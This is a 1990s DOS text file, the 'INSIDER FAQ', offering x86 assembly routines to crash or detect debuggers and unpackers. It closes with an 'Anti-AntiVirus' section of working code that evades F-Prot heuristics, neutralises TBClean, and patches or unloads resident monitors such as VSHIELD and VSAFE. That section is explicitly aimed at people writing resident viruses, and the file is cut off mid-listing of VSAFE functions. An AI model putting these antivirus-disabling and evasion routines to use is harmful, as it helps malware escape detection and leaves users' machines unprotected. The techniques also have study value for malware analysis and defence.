home *** CD-ROM | disk | FTP | other *** search
Text File | 2000-05-25 | 43.6 KB | 1,292 lines |
- ───────────────┐
- │ Introduction │
- └───────────────
-
-
- The INSIDER - FAQ is meant for people who want to make their programs more
- secure against unpacking/viewing or modifying.
- You can input the code shown below into any of your ASM source codes or
- into other languages which got a ASM support like C++ or Pascal.
-
- Furthermore is the INSIDER - FAQ meant for those who are interested in
- AntiDebugging or AntiTraceCode tricks against realmode or protectedmode
- debuggers/unpackers.
-
- Last but not least might the INSIDER - FAQ also be helpful for protector
- writers or crackers which want to learn how AntiDebugging tricks look like
- or how to bypass them with debuggers.
-
- Please remember that the best tricks can be found in the uncovered version
- of the INSIDER - FAQ. To get such version contact me by writing an EMail
- with comments about TRAP and things I could add into the next version or
- AntiDebugging code which can't be found in the current INSIDER - FAQ.
-
-
- ──────────────────────────┐
- │ Realmode Anti Debugging │
- └──────────────────────────
-
- The following chapter describes ways how to crash/detect realmode debuggers
- or unpackers like TD or IUP.
- If we want to crash/detect a debugger we first have to know how they work.
- Most realmode tracers use INT1/3 to trace. If you point INT1 or INT3 to
- a corrupt area some stupid debuggers like TD get kicked.
- A better way is to insert code into INT1 and then afterwards restore it
- again. But CUP386 /1 and TR (with INT1) use there own interrupt table for
- these ints, so what to do against them? As ANY realmode debugger does not
- use its own stack, you can corrupt it and restore it after doing some
- instructions.
- Due the fact that we need the keyboard to trace but not to execute code
- we can also pull the keyboard off to make realmode tracers mad.
- The keyboard has two important hardware ports : 60h and 64h.
- Nuking those two ports will kick most of the debuggers out.
- Interrupt 9 is also used by the keyboard, so play arround with that too.
-
- Realmode debugger use/need the following things :
-
- - INT1,INT3 and INT10
- - Keyboard (INT9,Port 60h and 64h)
- - Stack (SS and SP)
-
-
- ╓══════════════════════════════╖
- ║ Points INT1 to invalid area ║
- ║ by Piotr Warezak (C) ║
- ╚══════════════════════════════╝
- »»
- INT1 can be either reset with INT21/AX=2501h or directly with MOV.
- INT1 is located at position 0000:0005.
- Old method to stop some realmode debuggers.
- »»
-
- push ds ;save DS register
- xor ax,ax ;zero DS register
- mov ds,ax
- not word ptr ds:[0005] ;cut off INT1 vector for a moment
- jmp short j1
- db 09ah
- j1: not word ptr ds:[0005] ;restore INT1 vector
- pop ds ;restore DS register
-
-
- ╓═════════════════════════╖
- ║ Nice stack-trick 1 ║
- ║ by Christoph Gabler ║
- ╚═════════════════════════╝
- »»
- Here is just a possibility how to detect any realmode debuggers/unpacker.
- It is not very tight but to make it work everywhere I used some lines
- for compatibilty - they are actually not very important.
- It detects : CUP386 /1, TD, TD286, DEBUG and more...
- »»
-
- CLI
- MOV DX,SP ; Save SP to DX.
- MOV CL,CS:BYTE PTR [00] ; Save the original 00. For 100% compatibilty. =8]
- MOV BL,CS:BYTE PTR [01] ; Same as above with 01.
- MOV CS:BYTE PTR [00],0CDh ; Write the normal values - just to make sure.
- MOV CS:BYTE PTR [01],020h ; Same as above with 01.
- MOV AX,10h ; The value 3 would crash debuggers directly.
- MOV SP,AX ; Corrupt the stack, now lame debugs modify 01.
- MOV SP,DX ; Restore SP.
- XOR AX,AX
- MOV AL,CS:BYTE PTR [01] ; Write the value back.
- MOV CS:BYTE PTR [00],CL ; Write 00/01 back.
- MOV CS:BYTE PTR [01],BL
- CMP AX,20h ; If not 20h then a realmode debugger is there.
- JNE $ ; Jump at current position.
- STI
-
- ╓═════════════════════════╖
- ║ Nice stack-trick 2 ║
- ║ by Christoph Gabler ║
- ╚═════════════════════════╝
- »»
- Much tighter but much easier to find out how it works. Fills SS
- with my magic number (Most other numbers do not work).
- Of course only against realmode debuggers.
- »»
-
- CLI
- MOV BX,SS ; Save SS to BX
- MOV DX,52121d ; Preparing DX for the corruption
- MOV SS,DX ; Corrupt SS with the help of DX / Hlts DEBUG
- XOR DX,DX
- MOV SS,BX ; Restore SS
- MOV BX,DX
- STI
-
- ╓═════════════════════════╖
- ║ Nice stack-trick 3 ║
- ║ by Christoph Gabler ║
- ╚═════════════════════════╝
- »»
- This time all enhanced regs will be corrupted. A bit noughtier than
- the one above.
- »»
-
- CLI
- MOV BX,DS ; Save DS in BX
- MOV SI,ES ; Save ES in CX
- MOV DX,52121d ; Preparing DX for the corruption
- MOV DX,SS ; Save SS in DX
- MOV DS,AX ; Write crap into DS
- MOV ES,DX ; Write crap into ES
- MOV SS,AX ; Write crap into SS
- MOV DS,BX ; Restore DS
- MOV ES,SI ; Restore ES
- MOV SS,DX ; Restore SS
- STI
-
- ╓═════════════════════════╖
- ║ Nice stack-trick 4 ║
- ║ by Christoph Gabler ║
- ╚═════════════════════════╝
- »»
- The following code uses the stack to jump. Most realmode debugs
- get kicked at the SP-modify, to get every realmode tracer the JMP SP
- is included. This routine works best in addition with a decryption loop.
- »»
-
- MOV AX,OFFSET JUMP_TO ; Get the position to jump to.
- MOV BX,SP ; Save SP to BX.
- MOV SP,AX ; Fill SP with the jump value.
- JMP SP ; Jump to the position.
- JUMP_TO:
- MOV SP,BX ; Restore SP.
-
-
- »»
- Very common method to detect realmode tracers - often found in protectors.
- It stops: Debug,Turbo Debug,Realmode Debug...
- »»
-
- PUSH AX
- POP AX
- DEC SP
- DEC SP
- POP BX ; BX should point to the pushed AX.
- CMP AX,BX
- JNE $ ; Kill Debugger if found.
-
-
- »»
- Another wellknown and oftenseen stack trick.
- It stops: Debug,Turbo Debug,Realmode Debug...
- »»
-
- CLI
- MOV AX,SP ; Save SP.
- MOV SP,3 ; Kick realmode debugger.
- NOP ; Do a cmd between corruption and restore.
- MOV SP,AX ; Restore SP.
- STI
-
- ╓═════════════════════╖
- ║ Fake entrypoint #1 ║
- ║ by Christoph Gabler ║
- ╚═════════════════════╝
-
- »»
- Almost anyone has heard about fake entrypoints. They can be found
- in HS and RC to fool DECAY05 or in CS to fool CUP386. There are many
- other protectors in which such a entrypoint fake can be found.
- But how does it work? Pretty simple, the following code is such a
- routine. CUP386 and DECAY05 get fooled.
- You can place code before the routine and after the routine.
- »»
-
- MOV CX,9000h ; Fake the entrypoint 9000h times.
- XOR DX,DX ; We must clear DX first.
- MOV DL,CS:BYTE PTR [100h] ; Save the byte found at 100h.
- MOV CS:BYTE PTR [100h],0C3h ; Write a RET to 100h.
- MOV AX,100h
- FAKE_ENTRY:
- CALL AX ; Call 100h.
- LOOP FAKE_ENTRY
- MOV CS:BYTE PTR [100h],DL ; Restore the byte we overwrote before.
-
-
- ╓═════════════════════╖
- ║ Fake entrypoint #2 ║
- ║ by Christoph Gabler ║
- ╚═════════════════════╝
-
- »»
- Another possibility to fake some unpackers. This time it does not restore
- 100h and 101h - I think if you need the restore, you can do it yourself.
- »»
-
- MOV CX,9000h ; Fake the entrypoint 9000h times.
- XOR DX,DX ; We must clear DX first.
- MOV DL,OFFSET THERE - 100h ; This is to generate the correct JMP back.
- ADD DX,100h ; Add 100h 'cause we jump there.
- MOV CS:BYTE PTR [100h],0FFh ; Write the jump command to 100h.
- MOV CS:BYTE PTR [101h],0E2h
- MOV AX,100h
- JMP AX ; Jump to 100h.
- THERE:
- CMP CX,0 ; If CX = 0 then we are done.
- JE OVER_FAKE
- DEC CX
- JMP AX ; Do it again.
-
- OVER_FAKE: ; Place the rest of your code here.
-
-
- ╓═════════════════════╖
- ║ Nuke Interrupt 1 ║
- ║ By Christoph Gabler ║
- ╚═════════════════════╝
-
- »»
- Another Anti Realmode Debugger routine. Due the fact that most lame debugs
- use INT1 to trace you just need to point to an invalid area to crash
- the debuggers. TD uses INT1, TR (with INT1=On) uses INT1 too but seems to use
- its own one. INT1 is restored afterwards.
- »»
-
- ; Kill and restore INT1
-
- mov cx,es ; Save ES.
- mov di,ds ; Save DS.
-
- mov ax,3501h
- INT 21h
- push es bx ; Get INT1 and save it.
-
- mov ax,2501h
- xor dx,dx
- mov ds,dx
- int 21h ; Set INT1 to 0000:0000.
-
- pop bx es ; Pop the old values.
- mov dx,bx
- push es
- pop ds
- mov ax,2501h
- int 21h ; Restore INT1.
-
- mov es,cx ; Restore ES.
- mov ds,di ; Restore DS.
-
- ╓═════════════════════╖
- ║ Nuke Interrupt 1/3 ║
- ║ By Christoph Gabler ║
- ╚═════════════════════╝
-
- »»
- This routine kills INT1 and INT3 but without using INT21. This method is
- very common and a similar version can be often found in protectors.
- CUP386 /1 does not loose the control - maybe it redirects INT1 and INT3.
- »»
-
- PUSH ES
- CLI
- xor ax,ax
- mov es,ax ; Clear ES.
- mov bx,4 ; Position of INT1.
- mov ax,es:[bx] ; Get and save INT1.
- mov es:[bx],0FFFFh ; Corrupt INT1.
- add bx,2 ; Position of INT3.
- mov cx,es:[bx] ; Get and save INT3.
- mov es:[bx],0FFFFh ; Corrupt INT3.
- sub bx,2
- mov es:[bx],ax
- add bx,2
- mov es:[bx],cx
- STI
- POP ES
-
- ╓═════════════════════╖
- ║ Keyboard trick #1 ║
- ║ by Christoph Gabler ║
- ╚═════════════════════╝
-
- »»
- By overflowing the keyboard port 64h many debugger reboot the CPU.
- Do this by sending a '0FEh' to hardware port 64h.
- The problem is that the port get overflowed and inactive under Windows95,
- which means that you cannot access 64h anymore and the result is a locked
- keyboard.
- »»
-
- ; Get previos state and save it.
- IN AL,64h
- PUSH AX
-
- ; Reboot by sending 0FEh to port 64h. (Use 0ADh to deactivate)
- MOV AL,0FEh
- OUT 64h,AL
-
- ; Reactivate keyboard. (Does only work under DOS)
- POP AX
- OUT 64h,AL
-
-
- ╓═════════════════════╖
- ║ Keyboard trick #2 ║
- ║ by Christoph Gabler ║
- ╚═════════════════════╝
-
- »»
- A much better trick is the following. Kicks most debugger but stays Windows95
- compatible! Same port, other value.
- Trick foundout as I used 60h's lower value.
- »»
-
- IN AL,64h ; Get current lower keyboard state.
- PUSH AX ; Save it.
-
- MOV AL,42h ; Windows compatible but as great as 0ADh.
- OUT 64h,AL ; Send the value to the main keyboard port.
-
- POP AX ; Restore the state we had.
- OUT 64h,AL ; Restore the main keyboard port.
-
-
- ╓═════════════════════╖
- ║ Irritation code ║
- ║ by Christoph Gabler ║
- ╚═════════════════════╝
-
- »»
- A stupid little routine to irritate the tracer. Of course only usefull if
- you place a decryptor with a C3 in it, jump there and do other irritating
- things. This is just an example.
- »»
-
- MOV DX,SP
- CALL POS
- JMP GO_ON
- POS: POP BX ; Get current position.
- CALL $+4 ; Call over the command, into C3.
- DB 04h,0C3h ; MOV AL,0C3h
- CALL $-1 ; Call back into C3.
- MOV [CS:00],AL ; Write a C3 into CS:00.
- ADD AL,03Dh ; Clear AL.
- MOV [CS:20C3h],0E3FFh ; Place a JMP BX to CS:20C3.
- JMP AX ; Jump to 00.
- GO_ON:
- MOV SP,DX
-
-
- ╓═════════════════════╖
- ║ Irritation macro ║
- ║ by Christoph Gabler ║
- ╚═════════════════════╝
-
- »»
- 98% of HackStop's "AntiDebugging code" consists of lame macros.
- Macro's were meant for making reading/debugging of code difficult, everyone
- of course knowns that they are just joke (as HS itself ;).
- How do these marco's which were meant for irriatation work?
- The two instructions 'CALL FAR' and 'JUMP FAR' need 5 bytes of space for
- their working, that's why debuggers display the following 4 bytes as
- a 'CALL FAR' or 'JUMP FAR' instruction. So, what happens if we put a
- '0EAh' or a '09Ah' into our code? The following code will be displayed as
- the same instruction. If we now simply jump over the oppcode byte to avoid
- a crash we are done.
- The problem is that there are methods (of course top secret! ;) to get rid
- of these stupid macro's like:
-
- - NOP the oppcodes out
-
- Yeah, these waste of bytes are of course no antidebugging. Every debugger
- can bypass them, but why does Rose still use them every second in HS?
- Hmm, that might be a question you better ask Rose himself...
- »»
-
-
- MACRO_LOOP: ; Use a loop because this might be interesting for decryptors
- JMP OVER_1 ; First fake jump over oppcode '0EAh'
- DB 0EAh ; The oppcode itself.
- OVER_1:
- NOP ; Do a cmd, insert your code here.
- JMP OVER_2 ; Second fake jump.
- DB 09Ah ; The oppcode itself.
- OVER_2:
- CALL OVER_3 ; CALLing instead of JuMPing works better against TR.
- NOP ; Do another fucky cmd.
- CALL OVER_4 ; Do it again. ('Cause lameness rules!)
- JMP OVER_6 ; And another time.
- DB 0EAh ; The oppcode itself.
- OVER_4:
- RET
- OVER_6:
- NOP
- JMP OVER_5 ; Jump a last time.
- DB 00,00,0EAh
- OVER_3:
- RET
- DB 00,00,00,09Ah
- OVER_5:
- LOOP MACRO_LOOP
-
-
- ╓═══════════════════════════════╖
- ║ Screen AntiDebugging trick #1 ║
- ║ by Christoph Gabler ║
- ╚═══════════════════════════════╝
-
- »»
- Often seen in protectors like Ciphator,FSE05,ExeLock666,PCrypt...
- Should irritate the tracer but I think it irritates the user. :)
- Here's the tightest way I know - directly over hardware port 3C6h.
- »»
-
- CLI
- MOV DX,3C6h ; Point to color area.
- IN AX,DX ; Get old settings.
- PUSH AX ; Save them.
- MOV AX,100h ; Value for black.
- OUT DX,AX ; Send to port.
-
- ; Place your Antidebugging Tricks here.
-
- POP AX ; Restore old settings.
- OUT DX,AX ; Send them to port.
- STI
-
- ╓═══════════════════════════════╖
- ║ Screen AntiDebugging trick #2 ║
- ║ ripped out of ExeLock666 ║
- ╚═══════════════════════════════╝
-
- »»
- 'Legandary' way to flicker the screen. Found in Ciphator and ExeLock666...
- Turns whole screen off for a while.
- »»
-
- ; Screen off.
- mov dx,03C4h
- mov al,1
- out dx,al
- inc dx
- in al,dx
- or al,20h
- out dx,al
-
- ; Place your Antidebugging Tricks here.
-
- ; Screen on.
- mov dx,03C4h
- mov al,1
- out dx,al
- inc dx
- in al,dx
- and al,dl
- out dx,al
-
-
- ──────────────────────────────┐
- │ Protectedmode AntiDebugging │
- └──────────────────────────────
-
- Everyone knows them, every protector author fears them : PM Debuggers. ;)
- Much more difficult to detect/crash then 'normal' realmode debuggers.
- Number one might be Iceunp or Winice, which keep their own stack, mostly their
- own interrupts and full 8086-486+ emulation.
- TR 2.01 does not trace the code, it interprets every single instructions.
- Unknown instructions must be traced. TR uses INT1 to trace these instructions.
- Deglucker acts similar to CUP386 - full interrupt reemulation, but bad
- DRx/CRx emulation.
- CUP386 and GTR use asskicking keyboard routines which make keyboard-offs
- nearly impossible.
-
- Protectedmode debugger use/need the following things :
-
- - INT10
- - Keyboard (INT9,Port 60h and 64h or 21h)
- - Sometimes DRx
-
-
- ╓═════════════════════════╖
- ║ Winice recognization ║
- ║ by ? ║
- ╚═════════════════════════╝
-
- »»
- How to recognize Winice? The following routine shows how to do it.
- Stonehead told me that the routine hangs sometimes - I do not know, test it.
- Detects: Only Winice Win 3.1/Win95 NOT the Dos version.
- »»
-
- ; Anti SoftIce trick #1
- mov ax,01684h
- mov bx,0202h ; VXD ID for Winice, check out Ralf Brown's INTLIST
- xor di,di
- mov es,di
- int 2fh
- mov ax,es
- add di,ax
- cmp di,0
- jne $
-
-
- »»
- The four following routines were send by somebody I met on IRC. I'm sorry but
- I forget his name. Anyway, hope you enjoy the following Anti Winice tricks.
- »»
-
- ; Detect Winice #1
- mov ebp, 'BCHK' ; use ice BoundsChecker interface
- mov ax, 04h
- int 3
- cmp al,4
- jz winicenotdetected
-
-
- ; Detect Winice #2
- mov ah,43h
- int 68h ; winice has int 68h handler and returns following value
- cmp ax,0f386h
- jnz winicenotdetected
-
-
- ; Detect Winice #3
- xor ax,ax
- mov es,ax
- mov bx, word ptr es:[68h*4]
- mov es, word ptr es:[68h*4+2] ; checking int 68h handler
- mov eax, 0f43fc80h
- cmp eax, dword ptr es:[ebx]
- jnz winicenotdetected
-
-
- ; Detect Winice #4
- push cs
- pop es
- xor ax,ax
- mov es,ax
- mov bx, cs
- lea dx, int41handler
- xchg dx, es:[41h*4]
- xchg bx, es:[41h*4+2]
- in al, 40h
- xor cx,cx
- int 41h
- xchg dx, es:[41h*4]
- xchg bx, es:[41h*4+2]
- cmp cl,al
- jz winicenotpresent
-
-
- »»
- Here is another way to get Winice. Credits go to DarkStalker.
- Works while executing INT41 which is used by Winice itself.
- »»
-
- cli
- In Ax,40h
- Mov word ptr cs:[bp+keyval],Ax
- push 0
- pop ds
- xor ebx,ebx
- mov bx,cs
- shl ebx,10h
- lea bx,[bp+newint2]
- xchg ebx,dword ptr ds:[41h*4]
- push ds cs
- pop ds
- Mov Ah,4Fh
- Int 41h
- pop ds
- XChg EBx,DWord Ptr Ds:[41h*4]
- Push Cs
- Pop Ds
- Cmp Ax,0000h
- keyval Equ $-2
- Jne $
- sti
- NewInt2:
-
-
- ╓══════════════════════════╖
- ║ Anti Deglucker 0.04 code ║
- ║ by Christoph Gabler ║
- ╚══════════════════════════╝
-
- »»
- The following routine shows a possibility how to defeat DG with just
- 3 bytes. If you trace it with DG, a 'protection fault' will be displayed
- and you cannot continue. The problem is that you are still able to NOP the
- code out.
- »»
-
- DB 66h,0FAh,0FBh ; Opcode 66h, CLI, STI
-
- here another little instruction which causes DG to
- display 'protection fault' :
-
- CMPSD ; Compare string or doubleword 386+
-
-
- ╓══════════════════════╖
- ║ Mode Detections ║
- ║ by different authors ║
- ╚══════════════════════╝
-
- »»
- Another nice section might be the detection of the different modes a CPU can
- be switched to. Here are ways of how to detect RealMode, ProtectedMode or
- Windows95.
- »»
-
- ; Realmode detection by Christoph Gabler.
- mov eax,cr0
- cmp eax,10h ; Compare CR0 with 10h, if so, we must be in realmode.
- je Real_Mode_Found
-
- ; Realmode detection by ELiCZ.
- SMSW AX ; Get Machine Status Word and store in AX.
- TEST AL,1
- JE Real_Mode_Found ; Jump if CPU in Real Mode.
-
- ; Protected Mode (QEMM, EMM386...) detection by Christoph Gabler.
- mov eax,cr0
- cmp al,1
- je Protected_Mode_Found
-
- ; V86 (Windows 3.x and Windows 95) detection by Christoph Gabler.
- mov eax,cr0
- cmp ax,0000 ; CPU is in Virtual 8086 mode if CR0 is 0000.
- je V86_Mode_Found
-
- ; Windows Detection detection by tHE riDDLER
- mov ax, 01600h
- int 02fh ; Check for available BP.
- or al,al
- jne Windows_Found
-
-
- ╓═══════════════════════════════╖
- ║ Generic Anti TR 1.97 trick ║
- ║ by Torsten Becker ║
- ╚═══════════════════════════════╝
-
- »»
- Here is a nice way to stop TR. You can put the following two bytes
- before any other instruction like a NOP or a XOR...
- The problem is that TR is able to bypass when in INT1-mode.
- You are asking yourself how to hinder tracing it with INT1? Ask me
- for the uncovered INSIDER.FAQ. :)
- »»
-
- DB 66h,67h ; Kicks TR 1.97
- NOP ; Or any other command.
-
-
- ╓══════════════════════════════════╖
- ║ TR - unknown instruction listing ║
- ║ by Christoph Gabler ║
- ╚══════════════════════════════════╝
-
- »»
- The following source shows a few commands which cannot be traced with
- TR 1.97 without using INT1. Most instruction are unknown to TR and some
- simply hang TR when trying to trace them.
- Of course they are more or less useless if you can bypass them with INT1
- but there are so MANY ways to get TR's INT1 - trace method :
- Cut INT1 before placing these instructions or play with the stack...
- »»
-
- Instructions which are unknown to TR 1.97 :
-
- CLTS ; Clear Task Switched Flag 286+ privileged mode
-
- JECXZ LABEL ; Jump to LABEL if ECX zero 386+
-
- BSR EAX,EBX ; Bit Scan Reverse 386+
-
- BSF EAX,EBX ; Bit Scan Forward 386+
-
- CMPXCHG EAX,EBX ; Compare and Exchange 486+
-
- BSWAP EAX ; Byteswap 486+
-
-
- ╓═════════════════════════╖
- ║ Cheap IceUnp detection ║
- ║ by Christoph Gabler ║
- ╚═════════════════════════╝
-
- »»
- IceUnp uses good trace modes but the coder forgot one really dumb thing :
- His program does always use the same temporary file that is created before
- the Iceunp traced the file - a very stupid mistake because Iceunp can be
- detected while just searching the temp file called '1ICEUNP'
- Here is a method how to do it.
- > This one is cheap too. Get a REAL IceUnp detection in the UNcovered version
- of INSIDER.FAQ !
- »»
-
- mov ah,4Eh ; Find the first match
- mov dx,offset ICETEMP ; Load the offset filemask dx
- int 21h ; Call DOS
- jnc $ ; Jump at current pos. if 1ICEUNP
- found.
-
-
- ; Rest of your code
-
-
- ICETEMP db '1ICEUNP',0 ; This must be placed out of range.
-
-
- ╓══════════════════════════════════════╖
- ║ 32 Bit Control- & Debug Register FAQ ║
- ║ By Christoph Gabler (C) ║
- ╚══════════════════════════════════════╝
- »»
- The following section should complain the working and function of
- the 32 Bit Control and Debug registers which can used to detect nearly
- ANY 80386 Debugger/GenericUnpacker. This short FAQ should describe
- what the CPU and Debugger does when it executes modification on DRx/CRx.
- If you know anything more about these registers please write it down
- and I'll add it here!
- »»
-
- (1) - The following 'enhanced' 32 Bit registers exist :
-
- [CRx] Control Registers (Modifications are QEMM incompatible)
- CR0,CR2,CR3
-
- [DRx] Debug Registers
- DR0,DR1,DR2,DR3,(DR4),DR5,DR6,DR7
-
- [TRx] Test Registers
- TR4,TR5,TR6,TR7
-
- (2) - Description/function of the single register :
-
- CR0 = Should not be set to a value over ca. 7000h -> CPU/Debug reboots.
- With CR0 CUP386 /7 can be detected. Iceunp/TR can be kicked with
- modification. Mostly incompatible with QEMM.
- CR2 = Should not be modified, crashs on Cyrix.
-
- CR3 = ANY modification under EMM386 causes an error -> Press Return to
- reboot the system.
- DR4 = TASM is not able to compile it but it can be manually compiled
- and works : DB 0Fh,21h,0E0h
- DR6 = After every executation DR6 is restored to the value of DR4.
- DR5 = A very nice way to get GTR 1.90 is the modification over 2000.
- Same value as DR7.
- DR7 = Main debug register. Normal is DR7 = 400
- If modified, other DRx registers will be changed too.
-
- TR4-TR7 = May not be accessed directly -> CPU hangs.
-
-
- (3) - Which values they are able to hold :
-
- CR0 = Handles values till ca. 2000h, adds 10h to itself if modified
- CR2-CR3 = Should not be accessed, values are same as they were set to
-
- DR0-DR5 = Handles 32 bit values, the fourth position is always a zero
- DR6 = Handles 32 bit values, behaves different from OS to OS
- DR7 = Handles 32 bit values, adds either 400h or 00 to itself if
- modified, the fourth position is always a zero
-
-
- Important : Any CR0 modification can't be executed under QEMM.
- A 'exception error #13' follows then. QEMM tells us
- that this error appears because code with modified CR0
- hangs - a stupid joke! Stupid because *I* had to
- rewrite TRAP so that QEMM doesn't get 'angry'.
- If you want your progs QEMM-compatible you can
- write a easy QEMM detection : Check if CR0 has the
- value 11h, if so jump over the CR0 modification.
- Works only if the debugger/tracer does not work under
- QEMM and EMM386 of course.
-
-
- (4) - The emulation listing of todays most Generic Unpackers :
-
- CUP386 /3 = Tracing seems to be the same as GTR uses. Very bad DR7
- emulation. Traces through LOCK/HLT ?!?
- CUP386 /7 = Similar to the method Iceunp uses. Very bad CR0 emulation.
- Traces through LOCK/HLT ?!?
- GTR 1.A1 = Enhanced emulation since the last version. Stabilty
- was VERY increased : Reboot-detect and great error detection.
- IceUnp = The *VERY BEST* 32B register emulation but can be defeated
- with CR0 modification.
- TR 1.92 = Good emulation but with DR2 TR can be easily detected.
- 'MOV E(A)X,DR3' hangs TR 1.92 ?!?
- TR 1.97 = LiuTaoTao, DR7/CR0/FS and GS are changed after every
- instruction. The new TR handles them as they would
- be 'normal' registers like EAX,EBX...
- TR 1.20 = Very nice DRx,CRx emulations now! But still not as good
- as Iceunp's DRx emulation. Anyway, best DOS debugger!
- 1.97 but has still many bugs and wrong emulations.
- AUP386 = Very difficult to say because this 'unpacker' is SO
- full of bugs -> Hangs the most time... But hey! - I could
- unpack PKLite ! =8]
- DECAY05 = Does not trace, but searchs for the entrypoint. ROSE showed
- some possibilities to fool DECAY05 (HS,RC286...)
- But therefor DECAY05 has a '/A' switch to unpack it
- automatically. TRAP detects DECAY05 and reboots the CPU
- if found because DECAY05 has many bugs with which it can
- be detected...
-
-
- ┌──────────────────────
- │ Anti-AntiVirus Code │
- ──────────────────────┘
-
- ╓═════════════════════════╖
- ║ Anti F-Prot Heuristic ║
- ║ By someone at Crypt ?? ║
- ╚═════════════════════════╝
-
- »»
- A very popular routine to avoid F-Prot's Heuristic Analysis. I think it's
- a dumb waste of space using it - I have something better - watch at
- TOP SECRETS!. Poor F-Prot, if it can be avoided by just jumping forwards
- a few times. =8]
- »»
-
- call screw_fprot ; confusing f-protect's
- call screw_fprot ; heuristic scanning
- call screw_fprot ; Still effective as of
- call screw_fprot ; version 2.10
- call screw_fprot ;
- call screw_fprot ; [cf] Crypt Newsletter 18
- call screw_fprot ; for explanation &
- call screw_fprot ; rationale
- call screw_fprot ;
- call screw_fprot ;
-
- screw_fprot:
- jmp $ + 2 ; Pseudo-nested calls to confuse
- call screw2 ; f-protect's heuristic
- call screw2 ; analysis
- call screw2 ;
- call screw2 ;
- call screw2 ; These are straight from
- ret ; YB-X.
- screw2:
- jmp $ + 2
- call screw3
- call screw3
- call screw3
- call screw3
- call screw3
- ret
- screw3:
- jmp $ + 2
- call screw4
- call screw4
- call screw4
- call screw4
- call screw4
- ret
- screw4:
- jmp $ + 2
- ret
-
-
- ╓═════════════════════════╖
- ║ Anti TBClean routine ║
- ║ By someone at Crypt ??? ║
- ╚═════════════════════════╝
-
- »»
- Here is THE popularest routine to stop TBClean. It is very big in size
- and it sucks 'cause TBClean can be stopped with 'CLI and STI'.
- »»
-
- look_4_tbclean:
- mov ax, word ptr ds:[si]
- xor ax, 0A5F3h
- je check_it ; Jump If It's TBClean
- look_again:
- inc si ; Continue Search
- loop look_4_tbclean
- jmp not_found ; TBClean Not Found
-
- check_it:
- mov ax, word ptr ds:[si+4]
- xor ax, 0006h
- jne look_again
- mov ax, word ptr ds:[si+10]
- xor ax, 020Eh
- jne look_again
- mov ax, word ptr ds:[si+12]
- xor ax, 0C700h
- jne look_again
- mov ax, word ptr ds:[si+14]
- xor ax, 406h
- jne look_again
-
- mov bx, word ptr ds:[si+17] ; Steal REAL Int 1 Offset
- mov byte ptr ds:[bx+16], 0CFh ; Replace With IRET
-
- mov bx, word ptr ds:[si+27] ; Steal REAL Int 3 Offset
- mov byte ptr ds:[bx+16], 0CFh ; Replece With IRET
-
- mov byte ptr cs:[tb_here][bp], 1 ; Set The TB Flag On
-
- mov bx, word ptr ds:[si+51h] ; Get 2nd Segment of
- mov word ptr cs:[tb_int2][bp], bx ; Vector Table
-
- mov bx, word ptr ds:[si-5] ; Get Offset of 1st Copy
- mov word ptr cs:[tb_ints][bp], bx ; of Vector Table
-
- not_found:
-
- mov ax, 0CA00h ; Exit It TBSCANX In Mem
- mov bx, 'TB'
- int 2Fh
-
- cmp al, 0
- je tbcleanok
- ret
-
- tbcleanok:
-
-
- ╓══════════════════════════════╖
- ║ Patching Memoryresident AVs ║
- ║ By MnemoniX (C) ║
- ╚══════════════════════════════╝
-
- »»
- This big section was taken from a MnemoniX Anti-AV magazine.
- It 'only' describes how to kill AV progs that are resident in mem.
- Use it if you make resident viruses.
- »»
-
- PATCHING VSHIELD
-
- This patch will prevent VSHIELD from detecting any viruses. This
- was tested on VSHIELD V106 - an old version - and probably will not work
- on every version, but what the hell. There is a portion of the code which
- looks like this:
-
- 80 FC 0E cmp ah,0E
- 74 06 je 0A1C
- 80 FC 4B cmp ah,4B
- 74 09 je 0A24
-
- To fix this up, you can :
-
- replace the first byte (80) with CB (a RET)
-
- OR
-
- replace the second JZ (74 09) with two NOP's (90 90)
-
- Either way VSHIELD will no longer scan files as they are executed.
-
- How can you get the original host program past VSHIELD, before VSHIELD has
- been patched? Just encrypt it or PKLITE it. Simple enough.
-
- ****************************************************
- * VSAFE versions 1 and 2 (Central Point/Microsoft) *
- ****************************************************
-
- While VSAFE 1.0 was conquered a long time ago, not much seems to have
- been done to hack VSAFE 2. Making a virus or hacked program VSAFE-resistant
- will make it much more viable, since it is a popular AV monitor. The old
- tricks that could be played on VSAFE 1 (which was pure crapware) no longer
- work like they used to. Here is what I was able to find though a little bit of
- investigation ... (BTW, this was tested on MSAV 1.0 and CPAV 2.2. It should
- be similar for other versions except where noted.)
- Firstly, as with all versions, one can check for the presence of VSAFE
- in memory with the following code:
-
- mov ax,0FA00h
- mov dx,5945h ("VS")
- int 16h
-
- If DI = 4559h ("SV"), VSAFE is present. Functions 16/FA03 and 16/FA08
- will return constant values whose significance is unbeknownst to me - they
- don't seem to be version numbers.
- Next, the old trick which deinstalled VSAFE, which was the same as the
- above code except AX = FA01h, won't cut it anymore. Nor will it change the
- VSAFE flags anymore when AX = FA02h. Does this mean that the you can no longer
- make VSAFE turn the other way? Hardly - there are still ways around it.
- (Remember, _no_ program is immune to being duped.)
- The two functions to deinstall or change VSAFE options are still there,
- but now there's a twist: It checks to see which program is running before it
- will act. This is a pain to get around, but not impossible. You can find the
- name of the current resident program in the DOS environment, which is found
- by getting the DOS environment segment (at offset 2Ch in the PSP), finding
- the name of the current program (the environment table is at offset 0, then
- two zero bytes signal the end of it, and then there's another two bytes, after
- which the name of the current program is found) and changing it to
- "\VSAFE.EXE".
- Actually, you don't even need to go to all that trouble. You see,
- VSAFE doesn't actually check the filename; it just makes a checksum of the
- letters in the filename minus extension. I am hesitant to go into the details
- of this now; if you want to see how the checksum works examine it yourself.
- Suffice it to say that if, before the period in the filename, you insert the
- three-byte hex string 5CFF76, VSAFE will think it's being loaded. Do I hear
- cries for an example?
-
- mov ax,ds:[2Ch] ; get environment segment
- mov es,ax
-
- xor di,di ; after the table of environ-
- mov cx,17D0h ; ment strings, we will find
- xor al,al ; the current program name
-
- find_environ_end:
- repnz scasb ; scan through environment
- cmp byte ptr es:[di],0 ; end of table?
- jnz find_environ_end
-
- add di,3 ; address of program name
- mov al,'.' ; find extension
- repnz scasb ; extension found
-
- mov si,es:[di - 3] ; save orig. program name
- mov es:[di - 3],76FFh ; modify program name
- mov bh,es:[di - 4] ; make VSAFE think it is
- mov byte ptr es:[di - 4],5Ch ; calling itself
-
- ; VSAFE 2 may now be unloaded
-
- mov ax,0FA01h ; unload VSAFE
- mov dx,5945h
- int 16h
-
- ; fix up program name again
-
- mov es:[di - 3],si ; replace orig. program name
- mov es:[di - 4],bh
-
- Here is a listing of all the VSAFE functions you need to know.
-
- (All functions called by INT 16h with DX = 5945h)
- AX = FA00h - Test for VSAFE resident
